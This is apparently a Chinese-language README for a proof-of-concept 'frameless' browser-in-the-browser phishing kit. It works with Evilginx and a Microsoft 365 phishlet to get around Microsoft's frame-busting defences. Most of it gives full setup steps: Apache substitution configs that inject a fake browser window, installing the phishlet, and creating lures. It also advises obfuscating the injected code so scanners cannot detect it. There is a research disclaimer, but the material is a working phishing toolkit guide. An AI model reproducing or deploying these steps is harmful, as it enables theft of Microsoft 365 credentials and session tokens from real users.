一种无需使用 iframe 的浏览器内浏览器(BITB)新方法,能够绕过像 Microsoft 这类登录页面实施的传统框架破坏程序。
此 POC 代码用于将此新型 BITB 与 Evilginx 及 Microsoft Enterprise 钓鱼模板配合使用。

在深入探讨之前,我建议你先观看我在 BSides 2023 上的演讲,我在那里首次介绍了这一概念,以及如何策划“完美”钓鱼攻击的重要细节。▶ 观看视频
☕︎ 请我喝杯咖啡
此工具仅用于教育和研究目的。它展示了一种基于非 iframe 的浏览器内浏览器(BITB)方法。作者对任何滥用行为概不负责。请仅在受控环境下合法且合乎道德地使用此工具,用于网络安全防御测试。使用此工具即表示你同意负责任地使用,并自行承担风险。
在过去的一年里,我一直在尝试各种技巧来策划“完美”的钓鱼攻击。 人们通常被训练去寻找的“危险信号”包括紧迫感、威胁、权威、语法错误等。 如今,人们其次会检查的就是他们正在交互的网站的链接/URL,而且一旦被要求输入敏感凭证(如电子邮件和密码),就会变得非常警觉。
这就是浏览器内浏览器(BITB)应运而生的原因。最初由 @mrd0x 提出,BITB 是一种创建可信浏览器窗口外观的概念,攻击者可以在其中控制内容(通过在 iframe 中提供恶意网站)。然而,假浏览器窗口的虚假 URL 栏被设置为用户期望的合法站点。这结合像 Evilginx 这样的工具,就成为了可信钓鱼攻击的完美配方。
问题在于,在过去几个月/几年里,像 Microsoft 这样的主要网站实施各种称为“框架破坏程序/框架杀手”的小技巧,这些技巧主要试图破坏可能用于提供代理网站(如 Evilginx 所使用)的 iframe。
简而言之,Evilginx + 针对 Microsoft 这类网站的 BITB 不再有效。至少对于依赖 iframe 的 BITB 来说不再有效。
一种不依赖任何 iframe 的浏览器内浏览器(BITB)!就这么简单。
这意味着我们现在可以将 BITB 与 Evilginx 一起用于像 Microsoft 这样的网站。
Evilginx 在这里只是一个强有力的例子,但同样的概念也可以用于其他用例。
框架破坏程序专门针对 iframe,因此我们的想法是创建 BITB 效果,而不使用 iframe,并且不破坏代理页面的原始结构/内容。 这可以通过使用搜索和替换(也称为替换)将脚本和 HTML 注入到原始内容旁边,然后完全依靠 HTML/CSS/JS 技巧来制造视觉效果来实现。 我们还使用了一个名为“Shadow DOM”的 HTML 额外技巧,将落地页(背景)的内容放置在不干扰代理内容的位置,从而允许我们灵活地使用任何落地页,只需添加少量的额外 JS 脚本。
创建一台本地 Linux 虚拟机(我个人在 VMWare Player 或 Parallels Desktop 上使用 Ubuntu 22)。
更新并升级系统软件包:
sudo apt update && sudo apt upgrade -y
创建一个新的 evilginx 用户,并将该用户添加到 sudo 组:
sudo su
adduser evilginx
usermod -aG sudo evilginx
测试 evilginx 用户是否在 sudo 组中:
su - evilginx
sudo ls -la /root
导航到用户的家目录:
cd /home/evilginx
(你也可以以 sudo 用户身份执行所有操作,因为我们是在本地运行所有内容)
下载并构建 Evilginx:官方文档
将 Evilginx 文件复制到 /home/evilginx
安装 Go:官方文档
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
添加:export PATH=$PATH:/usr/local/go/bin
source ~/.profile
检查:
go version
安装 make:
sudo apt install make
构建 Evilginx:
cd /home/evilginx/evilginx2
make
为我们的 evilginx 构建创建一个新目录,并包含 phishlets 和 redirectors:
mkdir /home/evilginx/evilginx
复制构建文件、phishlets 和 redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Ubuntu 防火墙快速修复(感谢 @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
在 Ubuntu 上,如果遇到 Failed to start nameserver on: :53 错误,请尝试修改此文件
sudo nano /etc/systemd/resolved.conf
将 DNSStubListener 编辑/更改为 no > DNSStubListener=no
然后
sudo systemctl restart systemd-resolved
由于我们将在 Evilginx 前面使用 Apache2,我们需要让 Evilginx 监听不同于 443 的端口。
nano ~/.evilginx/config.json
将 https_port 从 443 改为 8443
安装 Apache2:
sudo apt install apache2 -y
启用将要使用的 Apache2 模块: (我们还禁用了 access_compat 模块,因为它有时会导致问题)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
启动并启用 Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
通过从主机浏览器访问虚拟机的 IP 来测试 Apache 和虚拟机网络是否正常工作。
如果尚未安装 git,请先安装:
sudo apt -y install git
克隆此仓库:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
为我们将要提供的页面创建目录:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
复制每个页面的目录:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
可选:删除默认 Apache 页面(不使用):
sudo rm -r /var/www/html/
将 O365 钓鱼模板复制到 phishlets 目录:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
可选: 要设置 Calendly 小组件使用你的账户而不是我提供的默认账户,请转到 pages/primary/script.js 并更改 CALENDLY_PAGE_NAME 和 CALENDLY_EVENT_TYPE。
关于演示混淆的说明: 正如我在演示视频中解释的那样,我对 BITB 的文本内容(如 URL 和标题)进行了最小程度的混淆。你可以通过浏览器打开 demo-obfuscator.html 来打开演示混淆器。
在实际场景中,我强烈建议你混淆注入的 HTML 代码的更大块,或使用 JS 技巧来避免被检测和标记。我正在开发的高级版本将使用多种高级技巧的组合,使扫描器几乎无法指纹识别/检测 BITB 代码,敬请期待。
由于我们在本地运行所有内容,我们需要生成将由 Apache 使用的自签名 SSL 证书。Evilginx 不需要证书,因为我们将在开发者模式下运行它。
我们将使用域名 fake.com,该域名将指向我们的本地虚拟机。如果你想使用不同的域名,请确保在所有文件(Apache 配置文件、JS 文件等)中更改该域名。
如果目录不存在,则创建目录及其父目录:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
使用 OpenSSL 配置文件生成 SSL 证书:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
修改私钥权限:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
复制自定义替换文件(我们方法的核心):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
重要提示: 在此仓库中,我包含了两个替换配置:适用于 Mac 上 Chrome 和 Windows 上 Chrome 的 BITB。两者都具有浅色/深色模式的自动检测和样式,它们应作为实现其他浏览器/操作系统组合的模板。 由于我未包含自动检测访问我们钓鱼页面的浏览器/操作系统组合的功能,你将不得不使用其中之一,或实现你自己的自动切换逻辑。
/apache-configs/ 下的两个配置文件是相同的,只是包含的替换文件的 Include 指令不同(每个文件有两个引用)。
# 取消注释你想要的那个,并记住在更改后重启 Apache:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
为了简化,我将两个版本都作为单独的文件用于下一步。
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
测试 Apache 配置以确保没有错误:
sudo apache2ctl configtest
重启 Apache 以应用更改:
sudo systemctl restart apache2
使用 ifconfig 获取虚拟机的 IP,并记下以备下一步使用。
我们现在需要向主机文件添加新条目,将本演示中使用的域名 fake.com 及其所有子域名指向运行 Apache 和 Evilginx 的虚拟机。
在 Windows 上:
以管理员身份打开记事本(搜索 > 记事本 > 右键单击 > 以管理员身份运行)
单击左上角的文件选项,然后在文件资源管理器地址栏中复制粘贴以下内容:
C:\Windows\System32\drivers\etc\
将文件类型(右下角)更改为“所有文件”。
双击名为 hosts 的文件
在 Mac 上:
打开终端并运行以下命令:
sudo nano /private/etc/hosts
现在修改以下记录(将 [IP] 替换为虚拟机的 IP),然后将记录粘贴到主机文件末尾:
# 本地 Apache 和 Evilginx 设置
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# 部分结束
保存并退出。
在进入下一步之前,请重启浏览器。
注意: 在 Mac 上,使用以下命令刷新 DNS 缓存:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
此演示使用随附的 Office 365 Enterprise 钓鱼模板。要为其他钓鱼模板获取需要添加的主机条目,请使用 phishlet get-hosts [PHISHLET_NAME],但记得将 127.0.0.1 替换为虚拟机的实际本地 IP。
由于我们使用自签名 SSL 证书,每次尝试访问 fake.com 时,浏览器都会发出警告,因此我们需要让主机信任签署 SSL 证书的证书颁发机构。
对于此步骤,按照视频说明操作更容易,但以下是要点。
在 Chrome 浏览器中打开 https://fake.com/。
忽略不安全站点警告,继续访问页面。
单击 SSL 图标 > 详细信息 > 导出证书 重要提示: 保存时,名称必须以 .crt 结尾,Windows 才能正确打开。
双击它 > 为当前用户安装。不要选择自动,而是将证书放入特定存储:选择“受信任的根证书颁发机构”。
在 Mac 上: 仅为当前用户安装 > 选择“钥匙串:登录”并且点击“查看证书”> 详细信息 > 信任 > 始终信任
现在重启浏览器
你现在应该能够访问 https://fake.com 并看到主页,且没有任何 SSL 警告。
此时,一切准备就绪,我们可以启动 Evilginx,设置钓鱼模板,创建诱饵并进行测试。
可选:安装 tmux(即使在终端会话关闭后也能保持 Evilginx 运行。主要在远程虚拟机上运行时有用。)
sudo apt install tmux -y
以开发者模式启动 Evilginx(使用 tmux 避免丢失会话):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(要重新连接到 tmux 会话,请使用 tmux attach-session -t evilginx)
Evilginx 配置:
config domain fake.com
config ipv4 127.0.0.1
重要提示: 将 Evilginx 黑名单模式设置为 NoAdd,以避免将 Apache 列入黑名单,因为所有请求都将来自 Apache,而不是实际的访问者 IP。
blacklist noadd
设置钓鱼模板和诱饵:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
复制诱饵 URL,并在浏览器中访问它(使用 Chrome 的访客用户,以避免在测试之间删除所有保存/缓存的数据)。
基于 iframe 的原始 BITB(作者 @mrd0x): https://github.com/mrd0x/BITB
Evilginx 精通课程(由 Evilginx 创建者 @kgretzky 提供): https://academy.breakdev.org/evilginx-mastery
我在 BSides 2023 上的演讲: https://www.youtube.com/watch?v=p1opa2wnRvg
如何使用 Cloudflare 和 HTML 混淆保护 Evilginx: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
针对 Microsoft 365 的 Evilginx 资源(作者 @BakkerJan): https://janbakker.tech/evilginx-resources-for-microsoft-365/